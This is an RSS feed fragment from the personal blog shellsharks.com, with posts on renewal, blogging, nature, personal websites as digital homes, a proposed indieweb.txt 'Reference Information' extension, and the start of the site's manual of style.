        <description>&lt;p&gt;This month I’ve decided to participate in my &lt;u&gt;first&lt;/u&gt; &lt;a href=&quot;https://indieweb.org/IndieWeb_Carnival&quot;&gt;IndieWeb Carnival&lt;/a&gt;—a once-a-month writing prompt organized by the &lt;a href=&quot;https://indieweb.org/&quot;&gt;IndieWeb.org&lt;/a&gt; community. This month’s prompt is “&lt;strong&gt;Renewal&lt;/strong&gt;”, hosted by &lt;a href=&quot;https://www.thingelstad.com/about/&quot;&gt;Jamie Thingelstad&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;
There’s a lot on my mind lately in regards to this term—“Renewal”. I recently moved into a new house and with it I have a yard. The yard has a lot of plants and trees that are now flowering—cherry blossom, red bud, skip laurel, rhododendron and more! This is my first spring here so it has been fun to see what bloomed, and given me an opportunity to learn more about these plants.&lt;/p&gt;

&lt;p&gt;This site, &lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks.com&lt;/span&gt;, has also seen quite the renewal—or better put, a &lt;em&gt;revival&lt;/em&gt;. 2025 has been a &lt;em&gt;very&lt;/em&gt; busy year for me in terms of sprucing up the site, writing regularly and exploring an even greater breadth of topics and content types. This momentum always energizes me creatively and gives me productive momentum in other areas of my life—professionally, around the house, and with other assorted projects.&lt;/p&gt;

&lt;p&gt;I’m not sure what else to really go on about. My life seems to always be a constant stream of &lt;em&gt;new&lt;/em&gt; things. This is by design, and unavoidable. To continue to stay on top of it all, it’s always helped me to reframe these challenges, these endless lists of to-do’s as something “new”. Whether it be a new way of approaching an old problem, or in fact a new issue altogether.&lt;/p&gt;

&lt;p&gt;So, here’s to all things new, and “re”-new for me this year! 🌻&lt;/p&gt;
</description>
        <pubDate>Tue, 15 Apr 2025 12:25:00 -0400</pubDate>
        <link>https://shellsharks.com/renewal</link>
        <guid isPermaLink="true">https://shellsharks.com/renewal</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        <category>iwc</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Just Put It On Your Blog</title>
        <shark:summary><p>If you’ve got something to say, something to share, something that others might be interested in—why not <strong>just put it on your blog</strong>?</p>
</shark:summary>
        <description>&lt;p&gt;If you’ve got something to say, something to share, something that others might be interested in—why not &lt;strong&gt;just put it on your blog&lt;/strong&gt;?&lt;/p&gt;

&lt;p&gt;Someone ask a question on social media that you want to answer? &lt;em&gt;Write about it on your blog and link to it in your reply thread.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Post anything to social media? &lt;em&gt;Archive it to your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Have an interesting, random thought? &lt;em&gt;Write about it on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Remember a weird dream? &lt;em&gt;Document it in a dream journal on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Find some other cool articles or web sites? &lt;em&gt;Link to them from your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Have a great soup recipe? &lt;em&gt;Share it on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Have a bunch of resources related to one technical thing you know how to do well? &lt;em&gt;Document those resources on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Find yourself repeating the same thing a lot? &lt;em&gt;Write a blog post about it and share that instead.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;What’re you up to right now? What’d you do yesterday? Get into anything cool last week? What about last month? &lt;em&gt;Write about it on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Like something a lot? Or maybe you &lt;em&gt;really&lt;/em&gt; &lt;strong&gt;don’t&lt;/strong&gt; like something? &lt;em&gt;Go off about it—on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Like to doodle? &lt;em&gt;You know where to share ‘em.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Saw a good movie or listened to a really great song? &lt;em&gt;Talk about it on your blog.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It’s great to have a place to share your thoughts. A place you can go back to when you want to remember something you had written or thought about before. A place you can refer people to when they have questions you’ve answered in the past. A place to be you. So, get a blog, and put all the things there.&lt;/p&gt;
</description>
        <pubDate>Mon, 14 Apr 2025 15:33:00 -0400</pubDate>
        <link>https://shellsharks.com/just-put-it-on-your-blog</link>
        <guid isPermaLink="true">https://shellsharks.com/just-put-it-on-your-blog</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Nature Appreciation</title>
        <shark:summary><p>This week’s <em>Blog Questions Challenge</em> is called “<strong><a href="https://beep.town/@blog_challenge/114321339448921361">Nature Appreciation</a></strong>”.</p>
</shark:summary>
        <description>&lt;p&gt;This week’s &lt;em&gt;Blog Questions Challenge&lt;/em&gt; is called “&lt;strong&gt;&lt;a href=&quot;https://beep.town/@blog_challenge/114321339448921361&quot;&gt;Nature Appreciation&lt;/a&gt;&lt;/strong&gt;”.&lt;/p&gt;

&lt;p&gt;Here are the questions…&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#silliest-animal-ive-seen&quot;&gt;What’s the silliest animal you’ve ever seen in nature?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#plant-superpower&quot;&gt;If you could have any plant’s superpower, what would it be and why?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#favorite-nature-sound&quot;&gt;What’s your favorite sound of nature and where did you last hear it?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#the-perfect-nature-spot&quot;&gt;If you could design your own perfect little nature spot, what would it include?&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;silliest-animal-ive-seen&quot;&gt;Silliest Animal I’ve Seen&lt;/h1&gt;

&lt;p&gt;The &lt;strong&gt;&lt;a href=&quot;https://www.britannica.com/animal/Bactrian-camel&quot;&gt;Bactrian Camel&lt;/a&gt;&lt;/strong&gt; was the first come to mind. Camels have pretty silly (and grumpy) personalities as it is, but the &lt;em&gt;Bactrian&lt;/em&gt; variety have wildly ridiculous camel humps. I got up close and personal with some at a wild live reserve kinda’ thing once.&lt;/p&gt;

&lt;h1 id=&quot;plant-superpower&quot;&gt;Plant Superpower&lt;/h1&gt;

&lt;p&gt;Honestly I did some web searching to find cool “abilities” I would want to steal from a plant and came up kinda empty. Fire resistance, regeneration, growing super tall—these are all things that are kinda cool, but nothing specific stood out to me. So, as my pick, I’ve decided to go with the wise old &lt;strong&gt;&lt;a href=&quot;https://www.oneearth.org/oak-trees-kings-of-biodiversity/&quot;&gt;Oak Tree&lt;/a&gt;&lt;/strong&gt;. For any particular ability? &lt;em&gt;Not really&lt;/em&gt;. I just like the idea of being a chill old Oak Tree that animals love to hang out with.&lt;/p&gt;

&lt;h1 id=&quot;favorite-nature-sound&quot;&gt;Favorite Nature Sound&lt;/h1&gt;

&lt;p&gt;I’d say it’s a close tie between the sound of a &lt;strong&gt;mountain stream&lt;/strong&gt; and that of a &lt;strong&gt;rain storm&lt;/strong&gt; with low, rolling thunder.&lt;/p&gt;

&lt;h1 id=&quot;the-perfect-nature-spot&quot;&gt;The Perfect Nature Spot&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Easy&lt;/em&gt;. Western-facing, mountain-side cabin. Conifers as far as the eye can see. A &lt;a href=&quot;#favorite-nature-sound&quot;&gt;mountain creek&lt;/a&gt; babbles nearby. The glow of a camp fire flickers across my face as I watch the sun melt behind the distant peaks.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Thanks for reading!&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 14 Apr 2025 08:51:00 -0400</pubDate>
        <link>https://shellsharks.com/blog-challenge-nature-appreciation</link>
        <guid isPermaLink="true">https://shellsharks.com/blog-challenge-nature-appreciation</guid>
        
        <category>life</category>
        
        <category>nature</category>
        
        <category>blogchallenge</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Welcome Home</title>
        <shark:summary><p>Home is a place of comfort. Home has that particular <em><a href="https://blog.avas.space/scent/">smell</a></em>. Home is where our <em>stuff</em> is. Its halls you know so well. It’s where we gather with friends, and the decor is uniquely you. It may have cracks in the foundations, and another issue or two. It won’t ever be perfect, always a work-in-progress. But home is home, and you love it nonetheless.
<br /><br />
A website, your <em>own</em> personal website, is just like this—a digital <strong>home</strong>, on the web. With all the same comforts, familiarities and problems that need-<i>a</i>-fixin’. You can design it how you want, add rooms (pages), invite friends over, paint the walls, hang some <a href="https://shellsharks.com/devlog/build-then-smile#the-artwork">art</a>, share your recipes, get some much-needed peace and quiet, <em>anything</em>! But unlike <em>actual</em> home ownership, it’s a lot more attainable (financially-speaking).</p>
</shark:summary>
        <description>&lt;p&gt;Home is a place of comfort. Home has that particular &lt;em&gt;&lt;a href=&quot;https://blog.avas.space/scent/&quot;&gt;smell&lt;/a&gt;&lt;/em&gt;. Home is where our &lt;em&gt;stuff&lt;/em&gt; is. Its halls you know so well. It’s where we gather with friends, and the decor is uniquely you. It may have cracks in the foundations, and another issue or two. It won’t ever be perfect, always a work-in-progress. But home is home, and you love it nonetheless.
&lt;br /&gt;&lt;br /&gt;
A website, your &lt;em&gt;own&lt;/em&gt; personal website, is just like this—a digital &lt;strong&gt;home&lt;/strong&gt;, on the web. With all the same comforts, familiarities and problems that need-&lt;i&gt;a&lt;/i&gt;-fixin’. You can design it how you want, add rooms (pages), invite friends over, paint the walls, hang some &lt;a href=&quot;https://shellsharks.com/devlog/build-then-smile#the-artwork&quot;&gt;art&lt;/a&gt;, share your recipes, get some much-needed peace and quiet, &lt;em&gt;anything&lt;/em&gt;! But unlike &lt;em&gt;actual&lt;/em&gt; home ownership, it’s a lot more attainable (financially-speaking).&lt;/p&gt;

&lt;p&gt;This is how I think about my site. It’s truly become that way for me. It’s just a place I like to go to—to hang out, read stuff I’ve written about before, explore, experience, and just &lt;em&gt;chill&lt;/em&gt;. I see little things that need to be fixed and I go tinker. I get inspired by something I’ve written about in the past or from something I’ve seen elsewhere and I go make an addition on my site, or I write some new post. Because it’s &lt;u&gt;my&lt;/u&gt; site, it always feels like I’m &lt;em&gt;building&lt;/em&gt; something. There’s a real investment to it. With it comes pride, and a feeling of accomplishment. Also as a bonus, it’s something I know the rest of the world can enjoy, take inspiration from or just send me &lt;a href=&quot;https://shellsharks.com/kindness&quot;&gt;nice feedback&lt;/a&gt; about. But there are no “likes” here. You don’t have to bake in social features—comment systems, webmentions, &lt;em&gt;anything&lt;/em&gt;. I can just hang out here, by myself. Do whatever I want—&lt;em&gt;just vibe&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;#more-on-this-concept&quot;&gt;Others&lt;/a&gt; have pointed out, more eloquently than I will, that other places on the net will never give you this feeling. Sure, they may be great forums for socializing, or for getting your message out, but they will never &lt;em&gt;feel&lt;/em&gt; like home in the same way a personal website can. Importantly, the things you build and share on those platforms are not &lt;em&gt;yours&lt;/em&gt;. Your content, your network, your identity—all borrowed, all rented. When those platforms disappear, all of that goes with it. When those platforms &lt;a href=&quot;https://pluralistic.net/2023/01/21/potemkin-ai/#hey-guys&quot;&gt;enshittify&lt;/a&gt;, or jack up prices, or otherwise become places that are less hospitable, you realize they were never &lt;em&gt;homes&lt;/em&gt;. They’re spaces owned by corporations, and subject to all that comes with that. They can add what they want. Take what they want. Remove your content. Delete your connections. They can force you to interact with those you don’t want to. You may never get a break from the noise.&lt;/p&gt;

&lt;p&gt;We’re humans. We are &lt;em&gt;social&lt;/em&gt;. So those spaces can be great for socializing. But most of us don’t want to &lt;em&gt;live&lt;/em&gt; at the bar, or at the coffee shop, or in one of these social spaces. We all want some kinda place to retreat back to. A place of safety. Where all of our stuff is. A place to kick off the shoes. Be messy. Do whatever we want. So &lt;a href=&quot;https://shellsharks.com/you-should-blog#resources&quot;&gt;build&lt;/a&gt; yourself a website—&lt;strong&gt;welcome home&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;more-on-this-concept&quot;&gt;More on this concept&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nazhamid.com/journal/your-site-is-a-home/&quot;&gt;Your Site Is a Home | Naz Hamid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.noemamag.com/we-need-to-rewild-the-internet/&quot;&gt;We Need to Rewild The Internet | NOEMA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://jamesg.blog/2025/02/09/blogs-as-third-places&quot;&gt;Blogs as third places | James’ Coffee Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.samclemente.me/my-home-on-the-internet/&quot;&gt;My Home on the Internet | The Digital Renaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.muni.town/digital-homeownership/&quot;&gt;Digital Homeownership | Muni Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://coffeenow.moomop.uk/post/2025/02/indieweb-i/&quot;&gt;Building an IndieWeb house | Coffee now&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://robertbirming.com/blog-your-home/&quot;&gt;Your blog, your home&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 09 Apr 2025 15:32:00 -0400</pubDate>
        <link>https://shellsharks.com/welcome-home</link>
        <guid isPermaLink="true">https://shellsharks.com/welcome-home</guid>
        
        <category>life</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Extending indieweb.txt With Reference Information</title>
        <shark:summary><p><a href="https://indieweb.org/indieweb.txt">Indieweb.txt</a> is an idea for sharing information about one’s <em>indie</em> site with the world. It is a proposal which resembles other plain-text, web-bourne, information-sharing documents such as <a href="https://humanstxt.org/">humans.txt</a> and <a href="https://securitytxt.org/">security.txt</a>. As initially proposed, it would contain information such as the <em>tools</em> one uses to implement IndieWeb capabilities, information on Indie-Web-related <em>strategies</em> employed by the webmaster and writings on <u>why</u> the site owner has embraced the <a href="https://shellsharks.com/indieweb">IndieWeb</a>.<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>
<br /><br />
This is an idea / proposal to extend <em>indieweb.txt</em> with a new section I’ve dubbed “<strong>Reference Information</strong>” (<em>I’m open to better ideas for the name</em>). Its <a href="#use-cases">usecase(s)</a> are somewhat simple. It is a place for you, an owner of an IndieWeb site, to share information about how you would like to be <strong>referenced</strong> on other sites.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>The initial <a href="https://indieweb.org/indieweb.txt">indieweb.txt</a> proposal leans a little too heavy into documenting things like <a href="https://indieweb.org/IndieMark">IndieMark</a> score and usage of niche “<a href="https://indieweb.org/Category:building-blocks">IndieWeb building blocks</a>”. They are not my cup of tea, and are ultimately <a href="https://shellsharks.com/notes/2024/05/14/one-of-us">not important</a> in gauging how “indie” your site is. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
</shark:summary>
        <description>&lt;p&gt;&lt;a href=&quot;https://indieweb.org/indieweb.txt&quot;&gt;Indieweb.txt&lt;/a&gt; is an idea for sharing information about one’s &lt;em&gt;indie&lt;/em&gt; site with the world. It is a proposal which resembles other plain-text, web-bourne, information-sharing documents such as &lt;a href=&quot;https://humanstxt.org&quot;&gt;humans.txt&lt;/a&gt; and &lt;a href=&quot;https://securitytxt.org&quot;&gt;security.txt&lt;/a&gt;. As initially proposed, it would contain information such as the &lt;em&gt;tools&lt;/em&gt; one uses to implement IndieWeb capabilities, information on Indie-Web-related &lt;em&gt;strategies&lt;/em&gt; employed by the webmaster and writings on &lt;u&gt;why&lt;/u&gt; the site owner has embraced the &lt;a href=&quot;indieweb&quot;&gt;IndieWeb&lt;/a&gt;.&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot; role=&quot;doc-noteref&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;br /&gt;&lt;br /&gt;
This is an idea / proposal to extend &lt;em&gt;indieweb.txt&lt;/em&gt; with a new section I’ve dubbed “&lt;strong&gt;Reference Information&lt;/strong&gt;” (&lt;em&gt;I’m open to better ideas for the name&lt;/em&gt;). Its &lt;a href=&quot;#use-cases&quot;&gt;usecase(s)&lt;/a&gt; are somewhat simple. It is a place for you, an owner of an IndieWeb site, to share information about how you would like to be &lt;strong&gt;referenced&lt;/strong&gt; on other sites.&lt;/p&gt;

&lt;p&gt;An example of this section as it looks on &lt;a href=&quot;https://shellsharks.com/indieweb.txt&quot;&gt;my site&lt;/a&gt; is below…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* Reference Information */
  - handle: shellsharks
  - name: Mike
  - font-color: #CA3342
  - background-color: #323232
  - citation-css: .shellsharks-com { color:#CA3342; }
  - contact:
    - email: mike@shellsharks.com
    - fediverse: @shellsharks@shellsharks.social
    - hello: https://shellsharks.com/hello
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;use-cases&quot;&gt;Use Cases&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;The inception of this idea came from my repeated &lt;a href=&quot;https://shellsharks.com/notes/2026/02/17/citations-css&quot;&gt;referencing&lt;/a&gt; (e.g. &lt;a href=&quot;https://shellsharks.com/whats-a-home-page&quot;&gt;What’s A Home Page&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://shellsharks.com/thanks&quot;&gt;Thanks&lt;/a&gt;) of a few of my favorite indie-site personalities, whereby I link to their sites using styling that is native-to and evocative-of their respective sites. I pulled that styling information using developer/site-inspection tools in my browser and as such probably came &lt;em&gt;pretty close&lt;/em&gt; to nailing the styling, but what if instead of me trying to reverse-engineer how they might want to be uniquely referenced on my site, there was a way they could expose that information to me so I can reference them &lt;em&gt;exactly&lt;/em&gt; as they would want? With this proposal, one could gather font aesthetics, name, background colors and really &lt;em&gt;anything else&lt;/em&gt; one would need to best reference others on their own site. So, for example, you can refer to me as &lt;span style=&quot;color:#CA3342&quot;&gt;shellsharks&lt;/span&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To help with ease-of-use with the initial use-case, I’ve defined a parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;html-reference&lt;/code&gt; which would basically be some single-line HTML syntax someone could drop in to their site to easy-reference someone else.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Another use-case comes from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contact&lt;/code&gt; parameter. Here someone could share how they would like others to reference their contact medium. So if I were to say, you can contact “SO AND SO”, I would link to whatever their first contact field is (ordering is important here). So as an example, by default you would suggest contacting me via &lt;em&gt;mike@shellsharks.com&lt;/em&gt; as that is my top-line contact value. However, for contacting me via the &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt;, you could reach out to me &lt;em&gt;@shellsharks@shellsharks.social&lt;/em&gt;, as indicated!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;i class=&quot;ph ph-lightbulb&quot;&gt;&lt;/i&gt; I’ve long-had an idea for an RSS-&lt;i&gt;ish&lt;/i&gt; app that would/could grab certain style-related information from a site to populate the look of post records in the client. This would be one useful building block of an app such as this.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Other information could be included here such as a link to a profile pic, &lt;a href=&quot;https://slashpages.net&quot;&gt;Slash Pages&lt;/a&gt; that are available on your site, and more!&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;50%&quot; /&gt;

&lt;p&gt;Let me know what you think of this proposal! If you implement an &lt;em&gt;&lt;a href=&quot;https://indieweb.org/indieweb.txt&quot;&gt;indieweb.txt&lt;/a&gt;&lt;/em&gt; file and add this information, let me know and I can try out referencing you somewhere on my site!&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;The initial &lt;a href=&quot;https://indieweb.org/indieweb.txt&quot;&gt;indieweb.txt&lt;/a&gt; proposal leans a little too heavy into documenting things like &lt;a href=&quot;https://indieweb.org/IndieMark&quot;&gt;IndieMark&lt;/a&gt; score and usage of niche “&lt;a href=&quot;https://indieweb.org/Category:building-blocks&quot;&gt;IndieWeb building blocks&lt;/a&gt;”. They are not my cup of tea, and are ultimately &lt;a href=&quot;https://shellsharks.com/notes/2024/05/14/one-of-us&quot;&gt;not important&lt;/a&gt; in gauging how “indie” your site is. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Tue, 08 Apr 2025 14:26:00 -0400</pubDate>
        <link>https://shellsharks.com/extending-indieweb-txt-reference</link>
        <guid isPermaLink="true">https://shellsharks.com/extending-indieweb-txt-reference</guid>
        
        <category>technology</category>
        
        <category>blogging</category>
        
        <category>indieweb</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Manual of Style</title>
        <shark:summary><p>This is the <u>Manual of Style</u> for Shellsharks.com. It details the conventions and other practices used for writing, editing, styling and generally composing content across the site.</p>
</shark:summary>
        <description>&lt;p&gt;This is the &lt;u&gt;Manual of Style&lt;/u&gt; for Shellsharks.com. It details the conventions and other practices used for writing, editing, styling and generally composing content across the site.&lt;/p&gt;

&lt;p&gt;It is worth noting that adherence to stated stylistic rules and principles is not uniform, either because I’ve failed to follow them or have purposefully deviated from a normal writing practice. &lt;em&gt;So pardon the anomalies&lt;/em&gt;!&lt;/p&gt;

&lt;h1 id=&quot;structural&quot;&gt;Structural&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;All content has some summary of the post as the &lt;u&gt;first&lt;/u&gt; paragraph. A lot of widgets on my &lt;a href=&quot;https://shellsharks.com/whats-a-home-page&quot;&gt;home page&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/activity&quot;&gt;activity&lt;/a&gt; page and elsewhere rely on either the &lt;a href=&quot;https://jekyllrb.com/docs/posts/#post-excerpts&quot;&gt;excerpt&lt;/a&gt; (first paragraph) or &lt;a href=&quot;https://jekyllrb.com/docs/front-matter/&quot;&gt;front matter&lt;/a&gt; &lt;em&gt;description&lt;/em&gt; to populate the widget content. At times, I will use a pair of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags to extend an excerpt beyond a single paragraph.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Paragraph breaks are used mostly for legibility, but I also try to employ them at logical, content-related breathing points/separators.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Section &lt;a href=&quot;https://shellsharks.com/style#headings&quot;&gt;headers&lt;/a&gt; are used to separate different topics and subtopics as well as to provide means to deep-link to important points/content. Specialized, deep-linked content is often done with custom span + id blocks (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;span id=&quot;IDHERE&quot;&amp;gt;CONTENT&amp;lt;/span&amp;gt;&lt;/code&gt;).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Horizontal rules (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;hr&amp;gt;&lt;/code&gt;) are used (at times) to separate intro sections from the main content, as well as to separate appendices from the main content. For larger posts, I may use rules to visibily separate sections. The &lt;a href=&quot;https://shellsharks.com/devlog/shark-fin-hr&quot;&gt;Shark Fin &amp;lt;hr&amp;gt;&lt;/a&gt; is used when I want to add a bit of extra whimsy. I try to not have more than one of these visible on a page at the same time.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;punctuation&quot;&gt;Punctuation&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Single hyphens buffered by a space on each side ( - ), &lt;em&gt;and&lt;/em&gt; Em Dashes (—) are used frequently to provide extra information, examples and other supplementary facts to sentences.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Italics&lt;/em&gt; are generally reserved for emphasizing words, as I would conversationally. I also use them for signifying terminology (e.g. this sentence is in the &lt;em&gt;Punctuation&lt;/em&gt; section of this post).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Bolded&lt;/strong&gt; terms are meant to highlight the main point of a sentence, paragraph or section. I also use bolding to emphasize words beyond what italics might provide.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;u&gt;Underlining&lt;/u&gt; is yet another way I tend to emphasize things.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Ellipsis (…) is used commonly to denote that the next section, paragraph, list or image is directly related to the previous content.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Proper nouns typically have the first letter &lt;u&gt;C&lt;/u&gt;apitalized.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;On somewhat rare, and inconsistent occasions, I will &lt;u&gt;underline&lt;/u&gt; the titles of referenced blog posts and other publications.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;linguistic--conversational&quot;&gt;Linguistic / Conversational&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Conversational linquistic affects (e.g. “&lt;em&gt;ok&lt;/em&gt;”, “&lt;em&gt;alright&lt;/em&gt;”, “&lt;em&gt;so&lt;/em&gt;”), commonly found at the beginning of sentences, are typically &lt;em&gt;italicized&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Italics&lt;/em&gt; are used for words that are conversational in nature.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I use parenthetical asides (&lt;em&gt;like this one&lt;/em&gt;) to provide inline commentary and bonus context. Often, these asides are italicized to signify my own speech.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;My writing includes a lot of “&lt;strong&gt;G-dropping&lt;/strong&gt;”, whereby I drop the trailing ‘g’ from ‘ing’ words, replacing that ‘g’ with an apostrophe. This is a conversational/colloquial habit.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Emojis are commonly used to express emotions. 👍&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;aesthetics&quot;&gt;Aesthetics&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;In many cases, when mentioning “&lt;span class=&quot;shellsharks-com&quot;&gt;Shellsharks&lt;/span&gt;” (referring to the website itself), or when mentioning the Newsletter “&lt;span class=&quot;shellsharks&quot;&gt;&lt;a href=&quot;https://shellsharks.com/scrolls&quot;&gt;Scrolls&lt;/a&gt;&lt;/span&gt;”, I will style them using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.shellsharks-com&lt;/code&gt; &amp;amp; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.shellsharks&lt;/code&gt; class colors (respectively) (as defined in the &lt;a href=&quot;https://shellsharks.com/style#other-colors&quot;&gt;Style guide&lt;/a&gt;). This is a newer convention, so will be something seen more commonly in newer content.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Aesthetic styling is defined in this site’s &lt;a href=&quot;https://shellsharks.com/style&quot;&gt;Style&lt;/a&gt; page.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;other&quot;&gt;Other&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Where possible, I do &lt;a href=&quot;https://shellsharks.com/blogging-methodology#editing--enrichment&quot;&gt;inline linking&lt;/a&gt; to &lt;em&gt;anything and everything&lt;/em&gt; I reference both here on this site, and externally. For longer posts, especially those that are particularly “reference-ey”, I make use of inline citations[^1], &lt;a href=&quot;https://shellsharks.com/style#table-of-contents&quot;&gt;tables-of-contents&lt;/a&gt; and references appendices.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;My usage of first and second-person is &lt;em&gt;haphazard&lt;/em&gt;. Sorry about that.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I have many different “types” of posts. What they are, and how I use each one is described &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
